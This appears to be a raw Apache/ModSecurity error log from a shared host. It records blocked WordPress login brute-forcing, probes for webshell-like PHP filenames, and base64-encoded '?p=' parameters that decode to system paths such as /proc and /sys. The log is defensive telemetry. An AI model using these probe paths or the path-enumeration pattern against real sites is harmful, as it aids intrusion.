https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:07:34.857171 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:07:34.882615 2026] [security2:error] [pid 531797:tid 532058] [client 148.113.209.179:47378] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wxsTA7b1mZrmcA-8I0QAAAlA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:35.105148 2026] [security2:error] [pid 531155:tid 531398] [client 20.151.217.54:48152] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/sm.php"] [unique_id "ai3wxymiP80klyS0NnrlagAAAXs"] [Sat Jun 13 18:07:35.112000 2026] [security2:error] [pid 531797:tid 532053] [client 148.113.209.179:47394] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wx8TA7b1mZrmcA-8I2gAAAks"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:35.132164 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.106:44771] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:35.132438 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.106:44771] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:35.159506 2026] [access_compat:error] [pid 531797:tid 531932] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:35.159798 2026] [access_compat:error] [pid 531797:tid 531932] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:35.276313 2026] [security2:error] [pid 531155:tid 531325] [client 20.151.217.54:58170] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3wxymiP80klyS0NnrlbQAAATI"] [Sat Jun 13 18:07:35.291315 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0OA== [Sat Jun 13 18:07:35.291598 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0OA== [Sat Jun 13 18:07:35.351872 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:07:35.352135 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:07:35.628827 2026] [security2:error] [pid 531155:tid 531361] [client 20.151.217.54:58212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3wxymiP80klyS0NnrldQAAAVY"] [Sat Jun 13 18:07:35.642171 2026] [security2:error] [pid 531155:tid 531188] [remote 17.241.227.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wxymiP80klyS0NnrldgABIyA"] [Sat Jun 13 18:07:35.830305 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:35.830744 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:35.921378 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:07:35.921862 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:07:35.932750 2026] [security2:error] [pid 531797:tid 532055] [client 148.113.209.179:47408] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wx8TA7b1mZrmcA-8JDAAAAk0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:35.990056 2026] [security2:error] [pid 531797:tid 531945] [remote 17.246.19.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wx8TA7b1mZrmcA-8JEQACV1E"] [Sat Jun 13 18:07:36.006901 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.48:35151] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.007176 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.48:35151] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.043647 2026] [security2:error] [pid 531797:tid 532092] [client 20.151.217.54:58189] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/wpconf.php"] [unique_id "ai3wyMTA7b1mZrmcA-8JFAAAAnE"] [Sat Jun 13 18:07:36.116082 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.101:39994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.116522 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.101:39994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.220262 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.34:37588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.220732 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.34:37588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.304120 2026] [security2:error] [pid 531155:tid 531248] [remote 17.22.253.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wyCmiP80klyS0NnrliAABeFw"] [Sat Jun 13 18:07:36.355531 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydS9pZg== [Sat Jun 13 18:07:36.356001 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydS9pZg== [Sat Jun 13 18:07:36.359109 2026] [security2:error] [pid 531797:tid 532121] [client 20.151.217.54:58129] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3wyMTA7b1mZrmcA-8JIgAAAo0"] [Sat Jun 13 18:07:36.442208 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:07:36.442642 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:07:36.455967 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.76:36081] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.456402 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.76:36081] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.476157 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.80:63821] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.476589 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.80:63821] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.526188 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.40:24382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.526646 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.40:24382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.578795 2026] [security2:error] [pid 531797:tid 532119] [client 20.151.217.54:65249] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3wyMTA7b1mZrmcA-8JMwAAAos"] [Sat Jun 13 18:07:36.792107 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.12:45000] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:36.792552 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.12:45000] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:36.850310 2026] [security2:error] [pid 531797:tid 532071] [client 20.151.217.54:58222] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/atomlib.php"] [unique_id "ai3wyMTA7b1mZrmcA-8JOgAAAl0"] [Sat Jun 13 18:07:36.864479 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Zhci9saWIvbnhsb2c= [Sat Jun 13 18:07:36.864767 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Zhci9saWIvbnhsb2c= [Sat Jun 13 18:07:36.942614 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2lk [Sat Jun 13 18:07:36.942905 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2lk [Sat Jun 13 18:07:36.952296 2026] [security2:error] [pid 531155:tid 531249] [remote 17.241.219.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wyCmiP80klyS0NnrllQABXV0"] [Sat Jun 13 18:07:37.078144 2026] [security2:error] [pid 531797:tid 532003] [client 20.151.217.54:61811] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/loxico93.php"] [unique_id "ai3wycTA7b1mZrmcA-8JQQAAAhs"] [Sat Jun 13 18:07:37.220670 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:07:37.220982 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:07:37.313259 2026] [security2:error] [pid 531797:tid 532104] [client 20.151.217.54:58138] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/momo.php"] [unique_id "ai3wycTA7b1mZrmcA-8JTwAAAn0"] [Sat Jun 13 18:07:37.339573 2026] [security2:error] [pid 531797:tid 532090] [client 148.113.209.179:47416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wycTA7b1mZrmcA-8JUQAAAm8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:37.349361 2026] [security2:error] [pid 531797:tid 531968] [remote 17.22.245.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wycTA7b1mZrmcA-8JUgACimc"] [Sat Jun 13 18:07:37.448873 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:37.449150 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:37.456601 2026] [security2:error] [pid 531155:tid 531187] [remote 17.22.253.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wySmiP80klyS0NnrlnwABRx8"] [Sat Jun 13 18:07:37.515997 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 